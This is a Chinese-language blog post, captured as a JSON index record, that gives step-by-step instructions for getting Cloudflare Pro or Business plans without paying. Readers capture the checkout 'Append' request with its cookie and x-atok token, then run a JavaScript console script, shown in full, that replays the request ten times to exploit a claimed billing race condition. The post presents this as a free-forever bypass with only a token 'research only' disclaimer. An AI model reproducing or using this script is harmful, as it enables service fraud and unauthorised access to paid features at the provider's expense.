[{"content":"Cloudflare 计费逻辑缺陷：通过请求重放实现高级订阅绕过 在针对 Cloudflare 订阅体系进行逆向测试时，我发现其前端结算逻辑与后端状态同步之间存在一个有趣的“空隙”。通过特定的请求重放（Replay Attack），可以在系统未产生实际账单的情况下，诱导后端激活 Pro 或 Business 计划。\n01. 核心表现：身份与权限的“量子叠加” 这种绕过方式会导致账号进入一种奇特的错位状态：\n权限越权（Privilege Escalation）：账号已实质性解锁 Pro/Business 专属功能（如 WAF 高级规则、图像优化、独享边缘节点等）。 状态错位（Logic Mismatch）：订阅管理界面仍显示为 Free 计划。由于计费链路未闭环，系统不会生成任何待支付条目或扣费账单。 零成本运行：利用结算接口的逻辑缺陷，实现了高级权限的“白嫖”。 02. 前置准备 在复现该逻辑缺陷前，需满足以下条件：\n域名接入：域名已成功添加至 Cloudflare 账户。 支付环境：账户内未绑定有效信用卡（或绑定一张余额为 0 的卡以通过初审）。 目标选择：在 Active Subscriptions 页面点击 Change，选择你想要激活的 Pro 或 Business 方案，进入待支付页面。 03. 操作步骤：捕获与重放 利用浏览器开发者工具（DevTools），我们可以手动干预结算请求。\n第一步：定位关键请求 打开 Network 标签页，点击页面底部的支付按钮。在产生的流量中，定位名为 Append 的 POST 请求。\n第二步：提取核心元数据 选中该请求，从 Headers 和 Payload 中提取以下关键参数：\nRequest URL：完整的接口地址。 Cookie：当前会话的身份凭证。 X-atok：Cloudflare 特有的 CSRF/身份校验令牌。 Payload：在 Request Payload 中点击 View Source，获取原始的 JSON 结构。 第三步：控制台脚本注入 切换至 Console 标签页，利用下面的异步脚本进行高频重放。\n04. 自动化重放脚本 /**\r* Cloudflare Subscription Bypass Replay Script\r* 仅用于技术研究，请勿用于非法用途\r*/\rconst url = 'PASTE_YOUR_URL_HERE'; const headers = {\r'content-type': 'application/json',\r'accept': '*/*',\r'origin': 'https://dash.cloudflare.com',\r'referer': 'https://dash.cloudflare.com/',\r'x-atok': 'PASTE_YOUR_X_ATOK_HERE',\r'x-cross-site-security': 'dash',\r'cookie': 'PASTE_YOUR_COOKIE_HERE',\r'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36'\r};\r// 填入 View Source 中的 Payload 数据\rconst payload = { /* ... */ };\rconst delay = ms =\u0026gt; new Promise(res =\u0026gt; setTimeout(res, ms));\r(async () =\u0026gt; {\rconsole.log(\u0026quot;%c 开始执行请求重放...\u0026quot;, \u0026quot;color: #007aff; font-weight: bold;\u0026quot;);\rfor (let i = 0; i \u0026lt; 10; i++) {\rfetch(url, {\rmethod: 'POST',\rheaders: headers,\rbody: JSON.stringify(payload)\r})\r.then(res =\u0026gt; console.log(`[Batch ${i}] Status: ${res.status}`))\r.catch(err =\u0026gt; console.error(`[Batch ${i}] Error:`, err));\rawait delay(100); // 100ms 间隔，模拟并发竞争\r}\rconsole.log(\u0026quot;%c 脚本执行完毕，请刷新控制面板验证权限。\u0026quot;, \u0026quot;color: #34c759; font-weight: bold;\u0026quot;);\r})();\r05. 技术后记 这个漏洞的成因很可能是 Cloudflare 在处理 Append 操作时，先执行了权限分配逻辑，而后异步校验支付结果。在快速并发的请求下，后端分布式数据库可能出现了临时的状态同步延迟，导致权限已被写入 Metadata，但账单流水却因支付失败而被回滚。\n这种“先上车后买票”的逻辑在追求极致前端体验的 SaaS 平台中屡见不鲜，但也为安全研究提供了极佳的切入点。\n","permalink":"https://blog.witcorn.eu.org/posts/yong-jiu-bai-piao-cloudflare-pro-huo-business/","summary":"\u003ch1 id=\"cloudflare-计费逻辑缺陷通过请求重放实现高级订阅绕过\"\u003eCloudflare 计费逻辑缺陷：通过请求重放实现高级订阅绕过\u003c/h1\u003e\n\u003cp\u003e在针对 Cloudflare 订阅体系进行逆向测试时，我发现其前端结算逻辑与后端状态同步之间存在一个有趣的“空隙”。通过特定的\u003cstrong\u003e请求重放（Replay Attack）\u003c/strong\u003e，可以在系统未产生实际账单的情况下，诱导后端激活 Pro 或 Business 计划。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"截图\" loading=\"lazy\" src=\"/posts/yong-jiu-bai-piao-cloudflare-pro-huo-business/1.png\"\u003e\u003c/p\u003e\n\u003ch2 id=\"01-核心表现身份与权限的量子叠加\"\u003e01. 核心表现：身份与权限的“量子叠加”\u003c/h2\u003e\n\u003cp\u003e这种绕过方式会导致账号进入一种奇特的\u003cstrong\u003e错位状态\u003c/strong\u003e：\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003e权限越权（Privilege Escalation）\u003c/strong\u003e：账号已实质性解锁 Pro/Business 专属功能（如 WAF 高级规则、图像优化、独享边缘节点等）。\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e状态错位（Logic Mismatch）\u003c/strong\u003e：订阅管理界面仍显示为 \u003ccode\u003eFree\u003c/code\u003e 计划。由于计费链路未闭环，系统不会生成任何待支付条目或扣费账单。\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e零成本运行\u003c/strong\u003e：利用结算接口的逻辑缺陷，实现了高级权限的“白嫖”。\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003ch2 id=\"02-前置准备\"\u003e02. 前置准备\u003c/h2\u003e\n\u003cp\u003e在复现该逻辑缺陷前，需满足以下条件：\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\u003cstrong\u003e域名接入\u003c/strong\u003e：域名已成功添加至 Cloudflare 账户。\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e支付环境\u003c/strong\u003e：账户内未绑定有效信用卡（或绑定一张余额为 0 的卡以通过初审）。\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e目标选择\u003c/strong\u003e：在 \u003ccode\u003eActive Subscriptions\u003c/code\u003e 页面点击 \u003ccode\u003eChange\u003c/code\u003e，选择你想要激活的 \u003cstrong\u003ePro\u003c/strong\u003e 或 \u003cstrong\u003eBusiness\u003c/strong\u003e 方案，进入待支付页面。\u003c/li\u003e\n\u003c/ol\u003e\n\u003chr\u003e\n\u003ch2 id=\"03-操作步骤捕获与重放\"\u003e03. 操作步骤：捕获与重放\u003c/h2\u003e\n\u003cp\u003e利用浏览器开发者工具（DevTools），我们可以手动干预结算请求。\u003c/p\u003e\n\u003ch3 id=\"第一步定位关键请求\"\u003e第一步：定位关键请求\u003c/h3\u003e\n\u003cp\u003e打开 \u003cstrong\u003eNetwork\u003c/strong\u003e 标签页，点击页面底部的支付按钮。在产生的流量中，定位名为 \u003cstrong\u003e\u003ccode\u003eAppend\u003c/code\u003e\u003c/strong\u003e 的 POST 请求。\u003c/p\u003e\n\u003ch3 id=\"第二步提取核心元数据\"\u003e第二步：提取核心元数据\u003c/h3\u003e\n\u003cp\u003e选中该请求，从 \u003cstrong\u003eHeaders\u003c/strong\u003e 和 \u003cstrong\u003ePayload\u003c/strong\u003e 中提取以下关键参数：\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eRequest URL\u003c/strong\u003e：完整的接口地址。\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eCookie\u003c/strong\u003e：当前会话的身份凭证。\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eX-atok\u003c/strong\u003e：Cloudflare 特有的 CSRF/身份校验令牌。\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ePayload\u003c/strong\u003e：在 \u003ccode\u003eRequest Payload\u003c/code\u003e 中点击 \u003ccode\u003eView Source\u003c/code\u003e，获取原始的 JSON 结构。\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"第三步控制台脚本注入\"\u003e第三步：控制台脚本注入\u003c/h3\u003e\n\u003cp\u003e切换至 \u003cstrong\u003eConsole\u003c/strong\u003e 标签页，利用下面的异步脚本进行高频重放。\u003c/p\u003e","title":"永久白嫖 Cloudflare Pro 或 Business"}]